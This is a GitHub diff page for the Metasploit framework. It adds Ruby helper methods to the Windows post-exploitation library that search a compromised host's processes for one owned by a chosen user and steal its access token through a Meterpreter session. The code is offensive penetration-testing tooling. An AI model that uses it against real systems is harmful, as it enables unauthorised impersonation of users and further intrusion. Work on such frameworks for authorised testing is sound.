File tree Expand file tree Collapse file tree 1 file changed +42
-0
lines changed
lib/msf/core/post/windows Expand file tree Collapse file tree 1 file changed +42
-0
lines changed Original file line number Diff line number Diff line change @@ -43,6 +43,48 @@ def is_admin?
43
43
end
44
44
end
45
45
46
+ # Steals the current user's token.
47
+ # @see steal_token
48
+ def steal_current_user_token
49
+ steal_token ( get_env ( 'COMPUTERNAME' ) , get_env ( 'USERNAME' ) )
50
+ end
51
+
52
+ #
53
+ # Steals a token for a user.
54
+ # @param String computer_name Computer name.
55
+ # @param String user_name To token to steal from. If not set, it will try to steal
56
+ # the current user's token.
57
+ # @return [boolean] TrueClass if successful, otherwise FalseClass.
58
+ # @example steal_token(get_env('COMPUTERNAME'), get_env('USERNAME'))
59
+ #
60
+ def steal_token ( computer_name , user_name )
61
+ pid = nil
62
+
63
+ session . sys . process . processes . each do |p |
64
+ if p [ 'user' ] == "#{ computer_name } \\ #{ user_name } "
65
+ pid = p [ 'pid' ]
66
+ end
67
+ end
68
+
69
+ unless pid
70
+ vprint_error ( "No PID found for #{ user_name } " )
71
+ return false
72
+ end
73
+
74
+ vprint_status ( "Stealing token from PID #{ pid } for #{ user_name } " )
75
+
76
+ begin
77
+ session . sys . config . steal_token ( pid )
78
+ rescue Rex ::Post ::Meterpreter ::RequestError => e
79
+ # It could raise an exception even when the token is successfully stolen,
80
+ # so we will just log the exception and move on.
81
+ elog ( "#{ e . class } #{ e . message } \n #{ e . backtrace * "\n " } " )
82
+ end
83
+
84
+ true
85
+ end
86
+
87
+
46
88
#
47
89
# Returns true if in the administrator group
48
90
#
You can’t perform that action at this time.
0 commit comments